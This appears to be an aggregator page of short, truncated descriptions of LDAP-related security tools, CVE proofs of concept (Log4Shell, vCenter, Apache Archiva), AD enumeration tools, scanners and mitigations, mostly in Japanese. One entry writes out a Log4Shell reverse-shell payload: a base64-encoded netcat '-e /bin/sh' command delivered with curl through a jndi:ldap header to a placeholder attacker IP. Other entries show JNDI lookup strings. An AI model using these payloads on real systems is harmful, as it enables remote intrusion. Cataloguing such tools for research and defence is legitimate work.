CVE-2020-9495

CVE-2020-9495 PoC CVE-2020-9495 は、Apache Archiva の 2.2.5 より前のバージョンにおける中程度の深刻度の LDAP インジェクション脆弱性です。これにより、攻撃者は LDAP サーバー上に存在するユーザーの任意の LDAP 属性値を取得できます。 公式の Apache Archiva アドバイザリ より: 特別な値を archiva のログインフォームに提供することで、攻撃者は接続された LDAP サーバーからユーザー属性データを取得できます。特定の文字を使用すると、接続された LDAP サーバー上のユーザーを照会するために使用される...

ldapnomnom

LDAP Nom Nom Active Directory 사용자 이름을 도메인 컨트롤러로부터 LDAP Ping 요청cLDAP을 악용하여 조용히 익명으로 엄청난 속도로 무차별 대입합니다. 활성화된 일반 사용자 계정을 찾습니다. Windows 감사 로그가 생성되지 않습니다. 고속 서버당 최대 50K/초 – 여러 서버를 병렬로 사용하면 그 이상으로 속도를 높일 수 있습니다! 도메인에 가입된 머신의 환경 변수에서 DC를 자동 감지하거나, 그렇지 않으면 머신 호스트 이름 FQDN DNS 접미사로 대체합니다. 테스트할 사용자 이름을...

ACLight

ACLight 特権アカウントの高度な発見のためのツール - シャドウアドミンを含む。 ACLight2はこのツールの改良版です。 シャドウアドミン研究 このツール（バージョン1）は「シャドウアドミン」研究の一部として公開されました - 「シャドウアドミン」の詳細はブログ記事をご覧ください: https://www.cyberark.com/threat-research-blog/shadow-admins-stealthy-accounts-fear この研究はロンドンのInfoSecurityカンファレンスでも発表されました: プレゼンテーションリンク 概要...

CVE-2020-3952

CVE-2020-3952 の脆弱性ステータスを確認するスクリプト これは guardicore exploit から着想を得ていますが、若干の違いがあります。管理者ユーザーを作成しません。 脆弱性ステータスは、組み込みの Administrators グループが無害な 'description' 属性を作成または追加することで汚染可能かどうかを検証することで評価します。 確認 使用方法: $ python exploitcheck.py vserverip 試行の検出 suricata シグネチャルール vmware.rules は、Administrators グループに対する LD...

Apache-Log4j-POC

Apache-Log4j-POC CVE-2021-44228 Apache Log4j LDAP ルックアップ脆弱性の概念実証 脆弱性の詳細はこちらでご確認いただけます: https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ 悪意のあるオブジェクトを返す提供された LDAP サーバーの実行方法は？ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A...

vmware_vcenter_cve_2020_3952

CVE-2020-3952の概念実証 これは、CVE-2020-3952を悪用する短いコードです。この脆弱性の詳細は、Guardicore Labsの記事（こちら）で説明されています。 この脆弱性は、2020年4月にVMwareによって公開され、CVSSスコア最大10.0と評価されました。ネットワーク接続を持つ攻撃者がvCenterディレクトリ（ひいてはvSphereデプロイ）を制御できるようになります。 VMwareはこのバグの修正をvCenter Server 6.7 Update 3fでリリースしました。以前のバージョンからアップグレードされたパッチ未適用のvCenter...

Log4j-Scanner-Exploit

Log4Shell-Scanner-Exploit Log4Shellの脆弱性をリモートで識別および/または悪用するためのBashスクリプトです。 このツールは、LDAPペイロードとX-Api-Version、User-Agent、X-Forwarded-Forヘッダーを使用してさまざまなテストを実行します。 このスクリプトは必ず監査対象のサービス/アプリケーションの所有者から事前に許可を得て使用してください。 依存関係: 1. 次のファイルをダウンロードして解凍し、LDAPサーバーとHTTPサーバーを起動します: http://tiny.cc/t0smuz 2...

CVE-2021-44228-Demo

CVE-2021-44228-Demo CVE-2021-44228 を利用し、RMI と LDAP の 2 つの方法でコードをリモートから注入する例です。 Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer と LdapServer の起動は Python3...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Base64に変換 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= ペイロード curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 概念実証 Log4j PoC フォロー Youtube Twitter...

ADReaper

ADReaper ADReaper は、LDAP クエリを使用して Active Directory 環境を数秒で列挙する、Golang で書かれたツールです。 インストール Windows/Linux 用のプリコンパイル済み実行可能バイナリを 最新リリース からダウンロードできます。 ソースからインストール ソースからビルドするには、リポジトリをクローンして GO でビルドします。 $ git clone https://github.com/AidenPearce369/ADReaper $ cd ADReaper/ $ go build 使用方法 ADReaper...

TeamPass 2.1.27.36 - Improper Authentication

TeamPass 2.1.27.36 is susceptible to improper authentication. An attacker can retrieve files from the TeamPass web root, which may include backups or LDAP debug files, and therefore possibly obtain sensitive information, modify data, and/or execute unauthorized operations. id: CVE-2020-12478 info...

Active Directory Integration WP Plugin < 4.1.10 - Log Disclosure

The Active Directory Integration / LDAP Integration WordPress plugin before 4.1.10 stores sensitive LDAP logs in a buffer file when an administrator wants to export said logs. Unfortunately, this log file is never removed, and remains accessible to any users knowing the URL to do so. id:...

SecurEnvoy Two Factor Authentication - LDAP Injection

Multiple LDAP injections vulnerabilities exist in SecurEnvoy MFA before 9.4.514 due to improper validation of user-supplied input. An unauthenticated remote attacker could exfiltrate data from Active Directory through blind LDAP injection attacks against the DESKTOP service exposed on the...

Cobbler - Authentication Bypass

Cobbler versions 2.6.11+, but code inspection suggests at least 2.0.0+ and possibly even older versions, may be vulnerable to an authentication bypass vulnerability in XMLRPC API /cobblerapi that can result in privilege escalation, data manipulation or exfiltration, and LDAP credential harvesting...

Alerta < 8.1.0 - Authentication Bypass

Alerta prior to version 8.1.0 is prone to authentication bypass when using LDAP as an authorization provider and the LDAP server accepts Unauthenticated Bind requests. id: CVE-2020-26214 info: name: Alerta 8.1.0 - Authentication Bypass author: CasperGN,daffainfo severity: critical description:...

Log4jShell-Scan

概要 log4j2 RCE脆弱性（CVE-2021-44228）の内部ネットワークスキャナーです。インターネットに接続しない環境でも脆弱性スキャンが可能で、企業内部でLog4jShell脆弱性を迅速に発見するのに役立ちます。 改変元: https://github.com/fullhunt/log4j-scan JNDIMonitorは以下から: r00tSe7en/JNDIMonitor: LDAPリクエストリスナー、dnslogプラットフォームから脱却 github.com...

wavecrack

Wavecrack Description A user-friendly Web interface to share an hashcat cracking box among multiple users with some pre-defined options. Screenshots The homepage Adding an hash to crack Seeing the results and some stats Outline This Web application can be used to launch asynchronous password crac...

Log4Shell-PoC

██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗ ██║ ██╔═══██╗██╔════╝ ██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║ ██║ ██║ ██║██║ ███╗███████║███████╗███████║█████╗ ██║ ██║ ██║ ██║ ██║██║ ██║╚════██║╚════██║██╔══██║██╔══╝ ██║ ██║ ███████╗╚██████╔╝╚██████╔╝ ██║███████║██║...

log4j-jndi-be-gone

log4j-jndi-be-gone Byte Buddy ベースのJavaエージェントによるCVE-2021-44228（log4j 2.xの「JNDI LDAP」脆弱性）の修正です。 次の3つのことを行います： jndi: フォーマット文字列（ルックアップ）の内部メソッドハンドラを無効にします。 log4j JNDIの試行が行われたことを示すメッセージを System.err（stderr）に記録します（試行されたフォーマット文字列を含み、 $ 文字はサニタイズされて転送インジェクションを防止します）。 ログメッセージ内でフォーマット文字列を "log4j jndi disabled...

ModSec-log4j2

ModSecルールのテスト 前提条件 Dockerがインストールされていること Javaがマシンにインストールされていること テストの実行 リポジトリのgit cloneを実行 以下のコマンドを実行してWAF（ModSec）と脆弱なアプリケーションを起動 docker stack deploy -c docker-compose.yml WAF リポジトリにあるJNDIExploit.v1.2.zipを展開し、そのフォルダに入り、以下のコマンドを実行します。$IPはあなたのマシンのIPアドレスに置き換えてください。127.0.0.1は使用しないことをお勧めします。 java -jar...